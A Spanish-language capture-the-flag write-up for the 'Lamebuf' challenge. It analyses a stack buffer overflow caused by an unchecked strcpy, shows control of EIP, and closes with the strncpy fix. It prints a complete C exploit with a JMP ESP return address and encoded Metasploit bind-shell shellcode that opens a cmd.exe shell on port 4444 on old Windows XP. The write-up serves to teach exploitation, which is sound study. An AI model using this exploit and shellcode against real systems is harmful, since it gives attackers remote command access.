Otro Capture The Flag como todos en el mundillo conocemos o "Reto de Ciberseguridad"  de esta serie de CTF con el Nivel 2 al que hemos llamado "Lamebuf".

Podéis bajaros el ejecutable pinchando en la imagen:

Capture-de-Flag-Nivel-2

Resolución CTF - Nivel 2 : Lamebuf

Los desafíos son los que hacen la vida interesante, y superarlos es lo que hace la vida significativa

Hola a todos!!

Lo primero de todo, trataremos de ver qué es lo que hace este programa. Si os acordáis del reto anterior, teníamos al maravilloso IDA y su pseudo código C.

Lamebuf001

Pulsamos F5:

Lamebuf002

Aunque no lo recuerdo, pero diría que se parece bastante. Sólo veo 1 problema, es que el tamaño importa y aquí no se ve.

Lo que parece que hace es, copia lo que se le pasa por parámetro a una variable y sale del programa. Solamente eso… Pues vaya, se acabó el reto:

Lamebuf003

Que no… que hay más, ¡¡¡¡mucho más!!!!

Si vamos a la variable, pulsamos botón derecho y seleccionamos array, tenemos un tamaño.

Lamebuf004

Y me gusta, mucho… seleccionamos el checkbox “create as array” y:

Lamebuf005

Y ya tendríamos en IDA este pseudo código:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@2
char v4 [512]; // [sp+0h] [bp-200h]@3
if ( argc == 2 )
{
strcpy(&v4, argv[1]);
result = 0;
}
else
{
result = -1;
}
return result;
}

Como alguno ya se habrá dado cuenta, esto va de Buffer Overflow

Seguimos con la Wiki, que nos dice de STRCPY

Dice: //El puntero destino debe contener suficiente espacio para copiar sobre la zona de memoria a la que apunta, la ristra apuntada por origen
Si el contenido que le pase como parámetro es menor que ese tamaño, no pasaría nada a simple vista, ¿pero y si es mayor?
Pondré un ejemplo rápido, añado un montón de AAAAAAAA + BBBB + ….+ FFFF.

Lamebuf006

Y mirad lo que pasa, EIP = 43434343, o lo que es lo mismo, CCCC.
EBP = 42424242, o lo que es lo mismo, BBBB. El contenido de ESP = DDDDEEEEFFFF.
Menuda casualidad, he dado con los valores adecuados para poder realizar lo que se conoce como un ataque de Buffer Overflow, jejeje.
Si miramos la pila vemos todos los 41 (A), BBBB, CCCC,DDDD,EEEE y FFFF.
Vale si controlo el valor de EIP (que apunta a la siguiente instrucción a ejecutar) y el contenido de la pila podría ejecutar cualquier cosa que quiera.

Lamebuf007

Supongamos que queremos explotarlo, necesitaremos una herramienta como Dependency Walwer. Abrimos la dll “MSVCRT.DLL”, porque vamos a ejecutar system(“cmd.exe”).

Lamebuf008

Sumamos la dirección de la DLL + Función System y lo añadimos a este código. Esta captura es de un Windows 7 PRO. Veamos una de Windows XP SP3:

Lamebuf009

¿Por qué digo esto? Porque en Windows 7, se implementó una serie de medidas de seguridad, ASLR, DEP , etc ...

Este exploit que voy a mostraros, funcionaría sin problemas en un XP anterior a SP2, pero en uno posterior o un Windows 7, no, esa dirección cambiaría.
Por otro lado necesito otra herramienta que me busque saltos en dll.

Lamebuf010

Si os acordáis como se veía en el Ollydbg, necesito:

Lamebuf011

Buffer ––––––––– EBP –––––––––––– EIP –––––––––––– ESP
AAAAAAAs ------- BBBB ----------- CCCC ----------- DDDDEEEEFFFF

Lamebuf012

Probaremos con Windows XP :-D, eh! No he dicho que lo intenteis en Windows 7 o posterior, recordad que esto es a modo introductorio, no de experto :P

Este es el exploit:

#include <stdio.h>
#include <string.h>
#include <windows.h>
#define RET_ADDRESS 0x7C924663 // 0x7C924663 On WinXP Sp1 English JMP ESP in NTDLL.DLL PC Retos
// First stage shellcode - decrease ecx by 512 and JMP ecx
unsigned char stage1[]= "\xFE\xCD\xFE\xCD\xFF\xE1";
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] http://metasploit.com/
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
int main(int argc,char *argv[]){
char *bufExe[3];
char buf[540];
bufExe[0] = "quehaceesto.exe";
bufExe[2] = NULL;
buf[531]=0;
memset(buf,0x90,520);
memcpy(&buf[20],shellcode,sizeof(shellcode)-1);
memcpy(&buf[520],stage1,sizeof(stage1));
*(unsigned long *)&buf[516] = RET_ADDRESS;
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0x0;
}

He modificado uno que tenía para ciertos PC llamados Retos que funcionaba hace tiempo ;-)

Lamebuf013

Vemos como no aparece el puerto abierto 4444. El exploit aprovecha la vulnerabilidad y abre ese puerto con una shell o cmd.exe.
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] http://metasploit.com/
Está sacado de Metasploit, como podéis ver, podríais ejecutar cualquier cosa, esta opción de la shell me gusta. Lo compilamos con Visual C++ 6 (sí, soy un clásico) y…

Lamebuf014

Shell al canto en el puerto 4444. Ahora os podríais conectar por telnet, con el putty, etc.
En cuanto al reto, la contestación sería, “el programa es vulnerable a buffer overflow ya que no se comprueba el tamaño de lo que se le introduce por parámetro y la función strcpy lo copia tal cual sin comprobar que es mayor de lo que admite.”

Bonus: ”se podría utilizar en su lugar strncpy que sí lo comprueba, aunque siempre va a depender del programador, que la sepa utilizar adecuadamente.”
Bonus++: “currarse un exploit que se salte el aslr, como este

Referencias